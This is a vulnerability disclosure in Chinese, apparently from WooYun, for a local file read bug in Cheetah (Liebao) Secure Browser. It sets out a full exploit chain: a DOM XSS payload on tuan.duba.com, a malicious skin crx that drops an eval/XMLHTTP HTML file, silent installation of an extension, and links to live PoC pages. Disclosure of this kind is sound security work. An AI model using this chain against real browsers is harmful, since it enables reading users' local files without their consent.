当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102031

漏洞标题:猎豹安全浏览器本地文件读取

相关厂商:金山软件集团

漏洞作者: 路人甲

提交时间:2015-03-18 10:01

修复时间:2015-06-16 10:56

公开时间:2015-06-16 10:56

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-18: 细节已通知厂商并且等待厂商处理中
2015-03-18: 厂商已经确认,细节仅向厂商公开
2015-03-21: 细节向第三方安全合作伙伴开放
2015-05-12: 细节向核心白帽子及相关领域专家公开
2015-05-22: 细节向普通白帽子公开
2015-06-01: 细节向实习白帽子公开
2015-06-16: 细节向公众公开

简要描述:

V5.2.85.9680

详细说明:

总体过程如下:

10.png


上述流程中每一个点的说明如下:
1. tuan.duba.com的XSS
http://tuan.duba.com/category/?cateid=3&city_code=aaaaaaaaaaaaaaaa#0<img src=1 onerror=alert(1)>
这个dom xss缺陷代码位于 http://tuan.duba.com/adminstatic/images/ad/show.js

$(document).ready(function(){
var hash = window.location.hash.toString();
if(hash&&hash!="#"){
if( hash.indexOf("#") >-1){
hash = hash.replace("#","");
}
var hash2 = parseInt(hash,10);
if(isNaN(hash2)){ //非数字则表示排行榜
//$("#"+hash).Mwt_tip_box({width:"190px",height:"250px",border_color:"#ffa300"});
}else{
$("#"+hash).Mwt_tip_box({width:"270px",height:"301px",border_color:"#D9020C"});
}
}
});


可见代码对hash部分parseInt后,进行了isNaN(hash2)的判断,所以 <img src=1 onerror=alert(1)> 前面加了一个 数字(0),就绕过了这处判断,导致XSS。
2. 猎豹浏览器的设计中,只要所访问的crx是皮肤文件(manifest.json里的theme属性为true)时,则不会有交互提示,而直接安装皮肤,这使得我们可以通过这种方式,静默的写入一些文件到本地,比如html,这里我们在皮肤压缩包里打包了一个xss.html

<html>
<body>
<script>
var data=location.search.substr(1);
if(/^url=/.test(data)){
data=data.replace(/^url=/,"");
var x=new ActiveXObject("MSXML2.XMLHTTP");
x.open("GET",decodeURIComponent(data),false);
x.send(null);
alert(x.responseText);
}else{
eval(decodeURIComponent(data));
}
</script>
</body>
</html>


然后生成chrome的crx文件:

11.png


只需要 location.href="http://xxxxxx.com/xxx.crx" 即可将xxx.crx里的内容释放到形式如下的目录路径中:
C:\Documents and Settings\Administrator\Local Settings\Application Data\liebao\User Data\Default\Extensions\皮肤ID\版本_0\xss.html
其中“版本”与manifest.json文件里的版本字段有关,这里我们构造的是"version": "20.10"
看看chrome下的行为:皮肤安装也会有交互提示。

22.png


3. 静默安装插件。
此问题已有报告,但未被重视,所以新版本也并未修复。见( WooYun: 猎豹浏览器远程代码执行
这次我们安装的是IE tab插件。
4. 打开任意协议下的URL。
external.JumpToNewURL(…) 函数可用于打开任意协议下的URL,这里我们用来打开 IE tab这个扩展的html文件。
chrome-extension://hehijbfgiekmjfkfjpbkbammjbdenadd/u.htm#url=[前面所释放的xss.html所在路径]
比如XP下是:
"C:\\Documents and Settings\\用户名\\Local Settings\\Application Data\\liebao\\User Data\\Default\\Extensions\\";
缺点是:需要知道用户名,这里假定目标用户使用默认的administrator。
5. 最终,通过IE tab 打开本地域下的xss.html,IE内核下,本地域执行JS可以通过xmlhttp读取本地文件。

33.png


当然也可以读取远程内容,但由于IE tab 与chrome在cookies数据上并不共享,危害相对较小。

漏洞证明:

1. 攻击目标用户是administrator的情况下。
直接访问:http://xsst.sinaapp.com/poc/liebao_poc.htm
(非定向攻击)
2. 如果目标用户用户名是 xxx,则可发送:http://xsst.sinaapp.com/poc/liebao_poc.htm?xxx 让目标进行访问。
(定向攻击,需先通过一定手段获取用户名)

44.png

修复方案:

见详细说明。
不要只是删除市场里的应用。 删了A应用,也许B应用也会出问题的。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-03-18 10:55

厂商回复:

收到,辛苦了!

最新状态:

暂无